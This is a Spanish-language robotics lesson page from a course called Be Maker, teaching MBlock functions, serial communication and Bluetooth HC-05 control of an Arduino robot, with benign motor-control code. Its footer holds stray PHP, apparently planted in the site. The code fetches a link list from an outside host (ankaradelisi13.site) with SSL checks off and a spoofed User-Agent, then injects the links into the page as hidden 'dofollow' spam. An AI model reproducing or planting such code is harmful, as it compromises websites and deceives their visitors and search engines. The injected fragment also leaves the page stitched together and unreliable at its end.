Be Maker

Loading...

Be Maker

Curso de Invierno

LECCIÓN 06 – Funciones y Comunicación con el Robot

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 Hoy vamos a dar un gran salto en nuestra aventura robótica.

💡 Aprenderás a crear funciones con MBlock, a comunicarte con tu robot por Bluetooth y a controlarlo desde tu celular usando el puerto serie.

🚀 6.1 ¿Qué son las funciones en programación?

💡 Las funciones son como recetas que le damos al robot. Le decimos: “cada vez que te diga ¡adelante!, haz esto, esto y esto”. Sirven para ahorrar tiempo y evitar repetir muchas veces el mismo código. En MBlock, podemos crear nuestras propias funciones desde la sección “Mis Bloques”.

🚀 6.2 Crear un nuevo bloque en “Mis Bloques”

1️⃣ Ve a la categoría «Mis bloques» en MBlock.

2️⃣ Haz clic en «Crear bloque».

3️⃣ Ponle un nombre como moverAdelante.

4️⃣ Dentro, colocas las instrucciones que debe seguir (por ejemplo, encender los motores hacia adelante).

5️⃣ ¡Listo! Ahora solo usas ese bloque cuando quieras que tu robot se mueva hacia adelante.

🚀 6.3 Diagrama de conexión del robot

💡 Esto nos permite crear coreografías o secuencias de movimientos de forma ordenada y clara. ¡Nuestro robot parecerá un bailarín profesional!

36

🛸 Proyecto 01: Programando Funciones

🧙‍♂️ Descripción

Vamos a crear las funciones avanzar hacia adelante y detenerse.

💻 Código

249

🛠️Desafío 1: Demuestra lo Aprendido

➡️ Utiliza la información del Proyecto 01: Programando Funciones para responder las siguiente pregunta:

✅ Crea las funciones para que tu robot pueda ir atrás, girar izquierda y girar derecha

🚀 6.4 ¿Qué es la Comunicación Serial?

💡 La comunicación serial es como una conversación entre la computadora (o celular) y el robot, donde se mandan mensajes uno a uno. Este tipo de comunicación se hace a través del puerto serie, usando cables USB o Bluetooth.

37

💻 Conexión con el programa Arduino

252

🛸 Proyecto 02: Control del Robot por el Puerto Serie

🧙‍♂️ Descripción

Realizar la conexión y programación del robot para que cuando se envíe la letra ‘F’ -> Código 70, los motores del robot giren hacia adelante y cuando se envíe la letra ‘S’ -> Código 83, los motores del robot se detengan.

💻 Código

251

🛠️Desafío 2: Demuestra lo Aprendido

➡️ Utiliza la información del Proyecto 02: Control del Robot por el Puerto Serie para responder la siguiente pregunta.

✅ Modificar el código para que cuando se envíe la letra ‘L’->Código 76, los motores del robot giren hacia la izquierda y cuando se envíe la letra ‘R’->Código 82, los motores del robot giren a la derecha.

🚀 6.5 El Módulo Bluetooth HC-05

💡 Este módulo sirve para que el robot pueda recibir órdenes inalámbricas desde el celular o una app. Es como su “antena receptora de mensajes”.

260

➡️ Tiene 4 pines: VCC, GND, TX, RX.

➡️ Se conecta al Arduino y permite recibir comandos en tiempo real.

🚀 6.6 Diagrama de Conexión

229

🚀 6.7 Código Arduino

#include <SoftwareSerial.h>

const int in1=8;
const int in2=9;
const int in3=10;
const int in4=11;

SoftwareSerial bt(14, 15);
char comando;

void adelante();
void atras();
void izquierda();
void derecha();
void detener();

void setup() {
pinMode(in1, OUTPUT);
pinMode(in2, OUTPUT);
pinMode(in3, OUTPUT);
pinMode(in4, OUTPUT);

Serial.begin(9600);
bt.begin(9600);
delay(1000);
Serial.println("Iniciando...");
detener();
}

void loop() {
if(Serial.available()){
comando = Serial.read();
switch(comando){
case 'F':
adelante();
break;
case 'B':
atras();
break;
case 'L':
izquierda();
break;
case 'R':
derecha();
break;
case 'S':
detener();
break;
}
}
else if(bt.available()){
comando = bt.read();
switch(comando){
case 'F':
adelante();
break;
case 'B':
atras();
break;
case 'L':
izquierda();
break;
case 'R':
derecha();
break;
case 'S':
detener();
break;
}
}
}

void adelante(){
Serial.println("Adelante...");
digitalWrite(in1, HIGH);
digitalWrite(in2, LOW);
digitalWrite(in3, LOW);
digitalWrite(in4, HIGH);
}
void atras(){
Serial.println("Atrás...");
digitalWrite(in1, LOW);
digitalWrite(in2, HIGH);
digitalWrite(in3, HIGH);
digitalWrite(in4, LOW);
}
void izquierda(){
Serial.println("Izquierda...");
digitalWrite(in1, HIGH);
digitalWrite(in2, LOW);
digitalWrite(in3, HIGH);
digitalWrite(in4, LOW);
}
void derecha(){
Serial.println("Derecha...");
digitalWrite(in1, LOW);
digitalWrite(in2, HIGH);
digitalWrite(in3, LOW);
digitalWrite(in4, HIGH);
}

void detener(){
Serial.println("Detener...");
digitalWrite(in1, LOW);
digitalWrite(in2, LOW);
digitalWrite(in3, LOW);
digitalWrite(in4, LOW);
}

 

🎯 Resumen de la Lección 06

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }